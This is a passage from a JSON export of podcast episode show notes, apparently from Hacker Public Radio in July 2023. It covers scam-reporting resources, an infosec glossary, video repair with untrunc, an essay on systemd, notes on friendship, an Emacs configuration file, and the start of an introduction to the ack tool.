                                                            • Email (attackers imitate legitimate organizations in design\nonly).
                                                              \n
                                                            • \n
                                                            • Mobile (voice, text messages, and app stores).
                                                              \n
                                                            • \n
                                                            • Social Media (direct messages and marketplaces).
                                                              \n
                                                            • \n
                                                            • Websites (including fraudulent ads and popups).
                                                              \n
                                                            • \n
                                                            \n

                                                            Common data and/or property (e.g. currency) extraction methods\nare:
                                                            \n

                                                            \n
                                                              \n
                                                            • Peer-to-peer payment service apps (Venmo, Zelle, Cash App...etc).\nWARNING, your money goes where ever you send it (including\nscammers).
                                                              \n

                                                            • \n
                                                            • Wire transfers: transfer currency from one entity to another\n(account-to-account). WARNING, your money goes where ever you send it\n(including scammers).
                                                              \n

                                                            • \n
                                                            • Cryptocurrency: 100% Scam. Light your money on\nfire for more value (reversing/recovering payment is virtually\nimpossible).
                                                              \n

                                                            • \n
                                                            • Store gift cards: Unverifiable way to use currency (online or in\nstore). WARNING, scammers prefer gift cards as payment\n(reversing/recovering payment is virtually impossible).
                                                              \n

                                                            • \n
                                                            • Source: Internet\nCrime Complaint Center (IC3) The Internet Crime Complaint Center, or\nIC3, is the Nation’s central hub for reporting cyber crime. It is run by\nthe FBI, the lead federal agency for investigating cyber crime.
                                                              \n

                                                              \n
                                                                \n
                                                              • Supporting Source: Federal Trade Commission: All\nScams
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Action Fraud, the national\nreporting centre for fraud and cybercrime. Action Fraud is the UK’s\nnational reporting centre for fraud and cybercrime where you should\nreport fraud if you have been scammed, defrauded or experienced cyber\ncrime in England, Wales and Northern Ireland.
                                                              \n

                                                            • \n
                                                            • Source: European\nUnion Agency for Law Enforcement Cooperation If you have fallen\nvictim to cybercrime, click on one of the links below to be redirected\nto the reporting website of your country. Reporting mechanisms vary from\none country to another. In Member States which do not have a dedicated\nonline option in place, you are advised to go to your local police\nstation to lodge a complaint.
                                                              \n

                                                            • \n
                                                            • Source: National Cybercrime and Fraud\nReporting System. Reporting a scam or computer crime helps the Royal\nCanadian Mounted Police (RCMP), the National Cybercrime Coordination\nUnit (NC3) and the Canadian Anti-Fraud Centre (CAFC)Reporting a scam or\ncomputer crime helps the Royal Canadian Mounted Police (RCMP), the\nNational Cybercrime Coordination Unit (NC3) and the Canadian Anti-Fraud\nCentre (CAFC) learn more about the nature of these incidents. The\ninformation you include in your report helps us follow cybercrime and\nfraud trends. We use this information to help protect more people from\nharm. It is the role of local police services to investigate.
                                                              \n

                                                            • \n
                                                            • Source: Scams subreddit.
                                                              \n

                                                              \n
                                                                \n
                                                              • Supporting Source: Common\nScams and Crimes. The following are some of the most common scams\nand crimes that the FBI encounters, as well as tips to help prevent you\nfrom being victimized.
                                                                \n
                                                              • \n
                                                              • Supporting Source: DuckDuckGo\nSearch: Where do I report online scams?
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Paypal:\nWhat's the difference between friends and family or goods and services\npayments?
                                                              \n

                                                            • \n
                                                            \n

                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • Social\nengineering (security) In the context of information security,\nsocial engineering is the psychological\nmanipulation of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                              • \n
                                                              • What is Security\ntheater? The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"User space, Cybercrime, fraud, scams","version":0,"downloads":0,"valid":1}, {"id":3899,"date":"2023-07-13","title":"Repair corrupt video files for free with untruc","duration":320,"summary":"This is how I fixed corrupt video files from my dash cam after an accident","notes":"

                                                            My original blog post on this topic: https://pquirk.com/posts/corruptvideo/

                                                            \n
                                                              \n
                                                            • Untruc at Github: https://github.com/anthwlock/untrunc
                                                            • \n
                                                            • Windows version: https://github.com/anthwlock/untrunc/releases
                                                            • \n
                                                            • Arch linux version: https://aur.archlinux.org/packages/untrunc-git
                                                            • \n
                                                            \n

                                                            Make your donations to:
                                                            \nhttps://www.paypal.com/paypalme/anthwlock
                                                            \nhttps://vcg.isti.cnr.it/~ponchio/untrunc.php

                                                            \n","hostid":383,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"video,corrupt,fix,file,linux","version":0,"downloads":0,"valid":1}, {"id":3900,"date":"2023-07-14","title":"Preparing Podcasts for Listening","duration":704,"summary":"I prepare my podcast files for listening in Audacity.","notes":"

                                                            Because I use very small and simple MP3 players, I have to do\npre-processing of my podcast files, and I use Audacity for that purpose.\nI explain exactly how I do this in case it helps someone else.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Podcasts, Audacity, file preparation","version":0,"downloads":0,"valid":1}, {"id":3901,"date":"2023-07-17","title":"Time Managment","duration":1238,"summary":"Time Managment","notes":"

                                                            I go over how I manage my time because I'm a goldfish...

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"self help","version":0,"downloads":0,"valid":1}, {"id":3902,"date":"2023-07-18","title":"Introduction to a new series on FFMPEG","duration":474,"summary":"In this episode, I introduce FFMPEG, media containers, and codecs","notes":"

                                                            Links

                                                            \n\n\n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ffmpeg,video streaming,audio streaming","version":0,"downloads":0,"valid":1}, {"id":3903,"date":"2023-07-19","title":"Why I don't love systemd (yet)","duration":396,"summary":"Klaatu reads a script by Deepgeek about systemd","notes":"

                                                            I've been meaning to put down my thoughts about SystemD for the HPR\ncommunity for some while, so here goes.

                                                            \n

                                                            I want to say that I am not a SystemD hater. When SystemD was a hot\ntopic of debate, many became irrational over it, but I want to start by\nsaying that I don't think it's a bad technology. I think it is a rather\ngood technology. I just don't want it on my personal computer. So I\nwould like to run things down in this order: what is it (as in, what is\nit really,) what makes it a good technology, why I don't want it now\n(but might later,) and a few tips for you if you decide that you don't\nwant it currently.

                                                            \n

                                                            SystemD Is not an init system. SystemD includes an init system.\nSystemD Init was faster than SysVInit, but SystemD Init isn't the\nfastest init system, and SysVInit now has a parallelization helper, at\nleast on Debian.

                                                            \n

                                                            So, if SystemD Init is not SystemD, than what is SystemD? To\nunderstand this we must first understand something about Linux. Linux\noperates under a model where there are root processes, and there are\nuser processes. These two kinds of processes are usually called\n\"layers.\" SystemD is actually a third layer, that can be called a system\nlayer. So when SystemD is added to a Linux system, that changes the\nsystem so that there are three layers, a root layer, a user layer, and a\nsystem layer. As such, you now ask SystemD to set how the system runs.\nThis is why SystemD includes things like an init system, because if you\nwant to change what the system is running, you ask SystemD to change it.\nSystemD then messages an appropriate system to implement the change,\nlike messaging its init system to bring up or bring down a system\ndaemon. Once you play out this in your head a bit, you really realize\nthat SystemD acts more like a message passing system in this regard.

                                                            \n

                                                            So why do I say SystemD is a good technology? Because this can\nstandardize system control. Without SystemD a fleet of computers becomes\nlike individual fingerprints or unique snowflakes. If you manage many\ncomputers, as many professional IT people do, you want them to all run\nthe same, all have the same profiles and general configurations. So if\nyou have a bunch of computers you are running, you can run a lot more if\nthey are all run the same way. If your job requires you to run 10,000\nwebservers, you want them to run identically because it is impossible to\nkeep an understanding of 10,000 unique configurations in a human\nhead.

                                                            \n

                                                            SystemD really shines in its support of virtualization as well. So\nto speak of servers, I used to run an email server for a few friends.\nEach of us had a userid and number as unix users. The mapping of unix\nuserids and postfix userids can get confusing when it gets big. Thanks\nto SystemD's virtualization work, you can actually put a service like\nemail into a namespace situation so that it has only the users root and\nthe daemon user id (like \"postfix\"), so SystemD greatly enhances\nsecurity for server installations. This might help explain its\ndominance in linux distributions that have been traditionally\nserver-centric, such as debian and redhat.

                                                            \n

                                                            So why don't I don't want it? Well, I've been doing a lot of talking\nabout professional computer work and corporate work environments, but I\nuse a \"Personal Computer\" as a hobby. I've been out-of-industry for\ndecades now. And when I say \"Personal Computer\" I'm not talking a\nhardware specification, rather I'm talking about \"This is my personal\ncomputer where I do things my way, as opposed to my work computer where\nI do things my companies way\". Dear listener, please remember that I did\nthe first community show contribution to HPR, and my topic was about\npersonalization. For me, a hobbyist interested in operating system\nexperimentation, I don't want a system layer, I want a traditional\nunix-like system that operates on a two-layer model and does things my\nway, nobody else's way.

                                                            \n

                                                            So, what advice can I give to those who don't want SystemD now? Well,\nrecently I've left Debian. Debian, you see, supports init system\ndiversity, but as you now know dear listener, that is different than\nbeing without SystemD. You may have heard that SystemD is\nlinux-specific, that is to say that it runs only on linux, not anything\nlike a BSD system or a Windows system. But you may be curious to know\nthat it is also Gnu-libC specific. Which means that the C compiler must\nuse GNU's libC standard library. Thus, if you have a system built around\nthe Musl C standard library like Alpine or Void, or a system like\nAndroid that runs on the Bionic C Standard library, you wont have a\nSystemD system. I'm personally learning Void as its package manager\nsupports both binary and a ports collection much like the BSD's. But\nthat is what I'm doing on my personal computer, I leave you in the\nfreedom to do things your way on your personal computer!

                                                            \n\n","hostid":73,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"systemd,linux","version":0,"downloads":0,"valid":1}, {"id":3904,"date":"2023-07-20","title":"How to make friends","duration":2861,"summary":"This topic is being actively researched. Not for production use.","notes":"

                                                            Show notes

                                                            \n
                                                              \n
                                                            • \n

                                                              No clear mark of when friendship starts

                                                              \n
                                                            • \n
                                                            • \n

                                                              often feels \"right\" when mutual

                                                              \n
                                                            • \n
                                                            • \n

                                                              to some people friendship is a persistent state. once you have it, it's forever unless explicitly dissolved.

                                                              \n
                                                            • \n
                                                            • \n

                                                              for other people, it's something requiring maintenance. arguable this suggests that there are degrees of friendship, based on when you last spoke to one another.

                                                              \n
                                                            • \n
                                                            • \n

                                                              degrees of friendship also suggests progression. friend → close friend → best friend.

                                                              \n
                                                            • \n
                                                            \n

                                                            how to make a friend

                                                            \n

                                                            friendship requires communication.

                                                            \n
                                                              \n
                                                            • \n

                                                              start by communicating in some way that makes the other person feel not unpleasant

                                                              \n
                                                            • \n
                                                            • \n

                                                              you're not supposed to target a friend. this can be a frustrating rule, because if you're trying to make a friend, you have to target somebody, but the general consensus is that you're not supposed to \"try too hard\". target lots of people in the hopes of stumbling across somebody to befriend.

                                                              \n
                                                            • \n
                                                            • \n

                                                              complimenting something they have done, even if it's something simple like wearing a cool shirt, is a very easy start

                                                              \n
                                                            • \n
                                                            • \n

                                                              finding ground common allows for repeated communication

                                                              \n
                                                            • \n
                                                            • \n

                                                              repetition of this is what builds friendship. this is why friendships often develop at work, but can dissolve quickly after a job change.

                                                              \n
                                                            • \n
                                                            • \n

                                                              the situation matters. chatting with someone who's being paid to interact with you, like somebody working at a store, doesn't count because in context they more or less cannot choose to stop communicating with you until you leave the store. chatting with someone who has anything to gain by chatting with you doesn't count (like an intern at work).

                                                              \n
                                                            • \n
                                                            • \n

                                                              to speed up a developing friendship, you can invite the person to interact with you on something with a clearly defined goal. You like coding? I like coding! Would you care to collaborate for 4 hours on a script that would help me find my Raspberry Pi on my network?

                                                              \n
                                                            • \n
                                                            • \n

                                                              during the activity, continue to communicate. this can be difficult because you're doing an activity that you both claim to enjoy, so in theory the activity should be sufficient to further the friendship. However, the activity doesn't build the friendship, it only builds a partnership. It's the communication that builds friendship.

                                                              \n
                                                            • \n
                                                            \n

                                                            unfortunately, there's no clear point during this process at which you know you have made a friend. so you have to define what a friend is, to you, and then work toward that goal.

                                                            \n

                                                            Here are some examples of definitions for friendship. There is no right or wrong here, it's really just setting your own expectations and requirements:

                                                            \n
                                                              \n
                                                            • \n

                                                              A friend is someone to hang out with on sundays.

                                                              \n
                                                            • \n
                                                            • \n

                                                              A friend is someone I can call when I've got some free time to kill.

                                                              \n
                                                            • \n
                                                            • \n

                                                              A friend is someone I can play video games with online.

                                                              \n
                                                            • \n
                                                            • \n

                                                              A friend is someone I can call, day or night, when I need help.

                                                              \n
                                                            • \n
                                                            • \n

                                                              A friend is someone who has come over for dinner, and has met my family, and who I see at least once a month.

                                                              \n
                                                            • \n
                                                            \n

                                                            There's no official definition, so you must define it yourself.\nYour definition may differ from the other person's definition.\nYou might say \"we are best friends\" but they might say \"no, I already have a best friend, but you're a good friend\" and THAT'S OK.

                                                            \n

                                                            If it helps, classify what kinds of friends you have so you understand what kinds of relationships you are maintaining.\nCommunicate with your friends, even if it's only to let them know that you're bad at communicating on a regular basis, or ask them how frequently they need to communicate to maintain a healthy friendship.

                                                            \n","hostid":78,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"autism,friendship,relationship,social engineering","version":0,"downloads":0,"valid":1}, {"id":3905,"date":"2023-07-21","title":"Presenting Fred Black","duration":1105,"summary":"I have a short talk to present Fred Black.","notes":"
                                                              \n
                                                            • IB-program https://ibo.org/
                                                            • \n
                                                            • Animals To The Max https://corbinmaxey.com/podcast-1
                                                            • \n
                                                            • I Spend A Day With... https://feeds.megaphone.fm/ispentadaywith
                                                            • \n
                                                            • The Vinyl Guide https://www.thevinylguide.com/
                                                            • \n
                                                            • NSOD - Norsken, Svensken og Dansken https://podkast.nrk.no/program/norsken_svensken_og_dansken.rss
                                                            • \n
                                                            \n","hostid":309,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"school,podcasts,instrument,quiz","version":0,"downloads":0,"valid":1}, {"id":3906,"date":"2023-07-24","title":"The Oh No! News.","duration":1741,"summary":"Sgoti discusses the threat of convenience.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • TAGS: Oh No News, InfoSec, browser security,\nsession tokens, session id
                                                            • \n
                                                            \n
                                                            \n

                                                            InfoSec; the language\nof security.

                                                            \n
                                                              \n
                                                            • Source: Session ID.
                                                              \n
                                                            • \n
                                                            • Source: JSON Web\nToken.
                                                              \n\n
                                                                \n
                                                              • Terms\nof Use: Copyleft, free content
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Session\nvs Token Based Authentication.
                                                              \n\n
                                                                \n
                                                              • Terms\nof Use: CC-BY-SA (with CC-BY-NC-SA elements).
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Steal Application\nAccess Token. Adversaries can steal application access tokens as a\nmeans of acquiring credentials to access remote systems and resources.\nApplication access tokens are used to make authorized API requests on\nbehalf of a user or service and are commonly used as a way to access\nresources in cloud and container-based applications and\nsoftware-as-a-service (SaaS).
                                                              \n\n
                                                                \n
                                                              • Terms of\nUse: Similar to CC-BY-SA
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Analysis:\nCircleCI attackers stole session cookie to bypass MFA.
                                                              \n\n
                                                                \n
                                                              • Terms of\nUse: Section 8. CONTENT AND CONTENT LICENSES. NOT\ncertain
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: How to Prevent\nSession Hijacking?
                                                              \n\n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • Social\nengineering (security) In the context of information security,\nsocial engineering is the psychological\nmanipulation of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                              • \n
                                                              • What is Security\ntheater? The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Oh No News, InfoSec, browser security, session tokens, session id","version":0,"downloads":0,"valid":1}, {"id":3907,"date":"2023-07-25","title":"My introduction show","duration":1153,"summary":"About me and computers","notes":"

                                                            The show notes

                                                            \n\n","hostid":421,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction,solocast","version":0,"downloads":0,"valid":1}, {"id":3908,"date":"2023-07-26","title":"Emacs package curation, part 2","duration":667,"summary":"Let's go through every single package installed in my Emacs configuration. File 2 of 3.","notes":"

                                                            We discuss the packages installed in the second of three files that\nmake up my emacs config.

                                                            \n
                                                            ;;; init-base.el ---  The basics\n;;; Commentary:\n;;; Packages for my personal and work laptop, but not termux.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n;; Focused writing mode\n(use-package olivetti\n  :hook (olivetti-mode . typewriter-mode-toggle)\n  :bind ("C-x C-w" . olivetti-mode)\n  :custom (olivetti-body-width 64)\n  :config\n      (defvar-local typewriter-mode nil\n      "Typewriter mode, automatically scroll down to keep cursor in\n      the middle of the screen. Setting this variable explicitly will\n      not do anything, use typewriter-mode-on, typewriter-mode-off\n      and typewriter-mode-toggle instead.")\n      (defun typewriter-mode-on()\n      "Automatically scroll down to keep cursor in the middle of screen."\n        (interactive)\n        (setq-local typewriter-mode t)\n        (centered-cursor-mode +1))\n      (defun typewriter-mode-off()\n      "Automatically scroll down to keep cursor in the middle of screen."\n        (interactive)\n        (kill-local-variable 'typewriter-mode)\n        (centered-cursor-mode -1))\n      (defun typewriter-mode-toggle()\n        "Toggle typewriter scrolling mode on and off."\n        (interactive)\n        (if typewriter-mode (typewriter-mode-off) (typewriter-mode-on))))\n\n(use-package centered-cursor-mode)\n\n;; Check for weasel words and some other simple rules\n(use-package writegood-mode\n  :bind ("C-c g" . writegood-mode))\n\n;; spellchecking\n(use-package flyspell-correct\n  :after flyspell\n  :bind (:map flyspell-mode-map\n              ("C-;" . flyspell-correct-wrapper)))\n\n;; show correction options in a popup instead of the minibuffer\n(use-package flyspell-correct-popup\n  :after (flyspell-correct))\n\n;online thesaurus service from powerthesaurus.org\n(use-package powerthesaurus)\n\n;; WordNet Thesaurus replacement\n(use-package synosaurus\n  :custom (synosaurus-choose-method 'default)\n  :config (when window-system\n            (if (string= (x-server-vendor) "Microsoft Corp.")\n              (setq synosaurus-wordnet--command "C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe"))))\n\n;; WordNet search and view\n(use-package wordnut\n  :bind ("C-c s" . wordnut-search)\n  :config (when window-system\n            (if (string= (x-server-vendor) "Microsoft Corp.")\n                (setq wordnut-cmd "C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe"))))\n\n;; fill and unfill with the same key\n(use-package unfill\n  :bind ("M-q" . unfill-toggle))\n\n;; Markdown...\n(use-package markdown-mode)\n\n;;;;;;;;;;;;;;\n;;; Coding ;;;\n;;;;;;;;;;;;;;\n\n;; Syntax checking\n(use-package flycheck\n  :diminish\n  :init (global-flycheck-mode))\n\n(use-package flycheck-popup-tip\n  :after (flycheck)\n  :hook (flycheck-mode-hook . flycheck-popup-tip-mode))\n\n;; Web design\n(use-package emmet-mode\n  :hook (sgml-mode . emmet-mode) ;; Auto-start on any markup modes\n        (css-mode . emmet-mode)) ;; enable Emmet's css abbreviation.\n\n(use-package sass-mode)\n\n(use-package web-mode)\n\n;; Python\n(use-package python\n  :mode ("\\\\.py\\\\'" . python-mode)\n  :interpreter ("python" . python-mode))\n\n;; highlight todo items everywhere\n(use-package hl-todo\n  :straight (:host github :repo "tarsius/hl-todo")\n  :custom (hl-todo-keyword-faces\n             `(("FIXME" error bold)\n             ("STUB" error bold)\n             ("REPLACETHIS" error bold)\n             ("REVISIT" error bold)))\n          (hl-todo-exclude-modes nil)\n  :config (add-to-list 'hl-todo-include-modes 'org-mode)\n  :init (global-hl-todo-mode))\n\n;; git\n(use-package magit)\n\n(use-package git-timemachine)\n\n;; rest APIs via org source block\n(use-package ob-restclient)\n\n;;; END ;;;\n\n(provide 'init-base)\n;;; init-base.el ends here
                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"emacs,elisp","version":0,"downloads":0,"valid":1}, {"id":3909,"date":"2023-07-27","title":"Permission tickets. ","duration":688,"summary":"Collective delusions of elective conclusions. ","notes":"

                                                            No special knowledge nor resources.
                                                            \nThis is a preview show for some future, self referential tangle of\ncryptographic distraction.

                                                            \n

                                                            So far, I see money as some social credit by proxy.
                                                            \nI recognise the utility of keeping track of resource recipes.
                                                            \nI also see dangers in over abstracting relations beyond robustly\nprovable outcomes.

                                                            \n","hostid":398,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ledger,cryptographic,consensus,permission,integrity","version":0,"downloads":0,"valid":1}, {"id":3910,"date":"2023-07-28","title":"Playing Civilization II","duration":968,"summary":"Some hints for playing Civilization II","notes":"

                                                            As I did for the original Civilization, I want to give a few hints on\nplaying this marvelous upgrade. This is obviously not a complete manual\nor strategy guide, which would take a lot longer, but if you\nhappened to run across a copy and wanted to check it out these are a\nsome hints on what you might want to do. I do give you links to other\nresources if you want to go into more depth.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization II","version":0,"downloads":0,"valid":1}, {"id":3911,"date":"2023-07-31","title":"An overview of the 'ack' command","duration":1255,"summary":"A Perl-based 'grep'-like tool that can search by file type","notes":"
                                                            \n

                                                            Introduction

                                                            \n

                                                            I have occasionally been using a tool called ack for a\nfew years now. It’s billed as “an alternative to grep for\nprogrammers”.

                                                            \n

                                                            There are several features I find particularly useful:

                                                            \n
                                                              \n
                                                            • It can restrict text searches to files of a particular\ntype

                                                            • \n
                                                            • It uses Perl regular expressions which may be the most powerful\nand feature rich types of RE’s available at present

                                                            • \n
                                                            • You can limit the search area within a file if desired

                                                            • \n
                                                            \n

                                                            It is a very comprehensive and useful tool, though maybe quite\ncomplex to use. Personally I use it in special cases where I need its\npower, and otherwise use the usual grep.

                                                            \n

                                                            In this episode I will give you the flavour of its capabilities and\notherwise leave you to research more if it sounds interesting.

                                                            \n

                                                            Installing ack

                                                            \n

                                                            The tool can be found in repositories. I use Debian, and\nack is in the Debian repo and can be installed with:

                                                            \n
